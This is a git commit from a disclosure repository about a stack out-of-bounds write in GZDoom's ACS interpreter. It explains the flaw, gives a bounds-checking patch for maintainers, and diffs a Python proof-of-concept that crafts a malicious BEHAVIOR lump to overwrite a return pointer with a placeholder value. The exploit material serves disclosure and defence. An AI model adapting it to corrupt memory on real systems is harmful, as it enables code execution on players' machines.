From b4150040a46d4e7bbbe919cdf9be60e0109191bc Mon Sep 17 00:00:00 2001 From: "Jakob L. Kreuze" Date: Thu, 4 Jan 2018 15:51:01 -0500 Subject: Final edits in preparation for disclosure. --- README.md | 67 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++---- example.wad | Bin 9286 -> 25769 bytes exploit.py | 39 +++++++++++++++++++---------------- logo.png | Bin 96456 -> 4368 bytes 4 files changed, 84 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index e4191d4..480c9b4 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,69 @@ ![Bad BEHAVIOR][img_1] -## Proof of concept exploit and research by [Jakob.][1] -Exploit of GZDoom's ACS interpreter, performing an out-of-bounds write with -maliciously-crafted ACS bytecode. +A vulnerability was recently discovered that affects several implementations of +ACS, a domain-specific scripting language for Doom maps. As a stack machine, ACS +has several opcodes for incrementing and decrementing a stack pointer. If these +increments and decrements are performed without bounds checking, it is possible +for a maliciously-crafted BEHAVIOR lump to produce an out-of-bounds write. Here +is the implementation of the PUSHBYTE opcode, taken from GZDoom's ACS +interpreter: +```c +case PCD_PUSHBYTE: + PushToStack (*(uint8_t *)pc); + pc = (int *)((uint8_t *)pc + 1); + break; +``` -[1]: http://jakob.space/ +Where PushToStack is a macro defined as: + +```c +#define PushToStack(a) (Stack[sp++] = (a)) +``` + +The stack pointer is incremented, but it does not check to see if the new value +is greater than the stack's maximum size. Because the buffer used by the +interpreter is placed on the process's stack, it is possible to overwrite the +interpreter routine's return pointer, resulting in arbitrary code execution. + +**Maintainers of Doom source ports,** + +It is critical that you inspect your port's implementation of the ACS +interpreter, and patch it if vulnerable to the exploit presented here. Every +opcode that modifies the stack pointer should perform a bounds check, ensuring +that it does not fall below 0, and does not rise greater than the maximum index +of the stack buffer. A rather crude example of a solution for PUSHBYTE is shown +below, however, brevity could be retained by making use of operator overloading, +or using a class with methods for pushing and popping that do perform bounds +checking. + +```c +case PCD_PUSHBYTE: + if (++sp >= STACK_SIZE) { + I_Error("Corrupted stack pointer in ACS VM"); + } + Stack[sp] = (*(uint8_t *)pc); + pc = (int *)((uint8_t *)pc + 1); + break; +``` + +Provided for vulnerability assessment is the file `example.wad`, which contains +a BEHAVIOR lump that will overwrite the interpreter routine's return pointer in +the latest GZDoom development builds. The stack offset should be different +across different source ports, but implementations where the vulnerability has +been dealt with should throw an error upon loading MAP01 regardless. + +Additionally provided is a Python script which will craft a malicious BEHAVIOR +lump to write 0xdeadbeefcafebabe at a given offset from the beginning of the +interpreter's stack buffer. This is intentionally very obtuse to work with, +however if you are a source port maintainer and would like to be able to further +experiment with the vulnerability, it is provided in its full form. A majority +of the code is present to form a valid BEHAVIOR lump; the real exploit is only +in the creation of the `payload` list. + +A more detailed and prose-like writeup, with details on the research process is +[available here][1]. + +[1]: http://jakob.space/blog/post/Bad+BEHAVIOR [img_1]: https://raw.githubusercontent.com/TsarFox/bad-behavior/master/logo.png diff --git a/example.wad b/example.wad index bc4d145..7adbf32 100644 Binary files a/example.wad and b/example.wad differ diff --git a/exploit.py b/exploit.py index 73635c8..d13b602 100644 --- a/exploit.py +++ b/exploit.py @@ -1,5 +1,19 @@ #!/usr/bin/env python +# Copyright (c) 2017 Jakob L. Kreuze +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, version 3. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + import os import struct import sys @@ -9,9 +23,6 @@ import sys # SIZE (Excluding CHUNK and SIZE) [4 bytes] # CONTENTS [SIZE bytes] -# PCD_ASSIGNSCRIPTVAR was chosen because it fits into the single-byte -# opcode size range and doesn't place anything onto the stack. - STACK_SIZE = 0x1000 CODE_HEADER = [0x41, 0x43, 0x53, 0x00] @@ -21,17 +32,10 @@ FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65] PCD_NOP = 0 PCD_TERMINATE = 1 PCD_PUSHNUMBER = 3 -PCD_ASSIGNSCRIPTVAR = 25 PCD_PUSHBYTE = 167 -PCD_PUSHBYTES = 175 -PCD_PUSH5BYTES = 179 - -# assert(sp == 0) is only compiled in DEBUG builds. -# You should probably throw some debug prints into the source code, -# finding the address of `Stack`, and the address of the return -# address on the stack. For me, `Stack` is at an offset of 4122 before -# the return address. +# assert(sp == 0) is only compiled in DEBUG builds, so cleaning up the +# stack is not necessary. # Scripts must be aligned to 32 bits. def align_script(code: list) -> list: @@ -40,23 +44,22 @@ def align_script(code: list) -> list: if __name__ == "__main__": - if len(sys.argv) != 3: - sys.stderr.write("usage: {} [RET OFFSET] [RET ADDR]\n".format(sys.argv[0])) + if len(sys.argv) != 2: + sys.stderr.write("usage: {} [RET OFFSET]\n".format(sys.argv[0])) sys.exit(1) desired_offset = int(sys.argv[1]) - return_address = int(sys.argv[2]) dest = "BEHAVIOR.lmp" # Smash stackobj.sp - payload = [PCD_PUSHBYTE] * (STACK_SIZE * 2) + payload = [0x55, 0x58, 0x56] * (STACK_SIZE * 2) # Overwrite stackobj.sp payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset)) # Smash the return pointer - least_sig = list(struct.pack("Q", return_address))[:4] - most_sig = list(struct.pack("Q", return_address))[4:] + least_sig = list(struct.pack("Q", 0xcafebabe))[:4] + most_sig = list(struct.pack("Q", 0xdeadbeef))[4:] payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig payload.append(PCD_TERMINATE) diff --git a/logo.png b/logo.png index 66ea3a3..f9b6ae8 100644 Binary files a/logo.png and b/logo.png differ -- cgit v1.3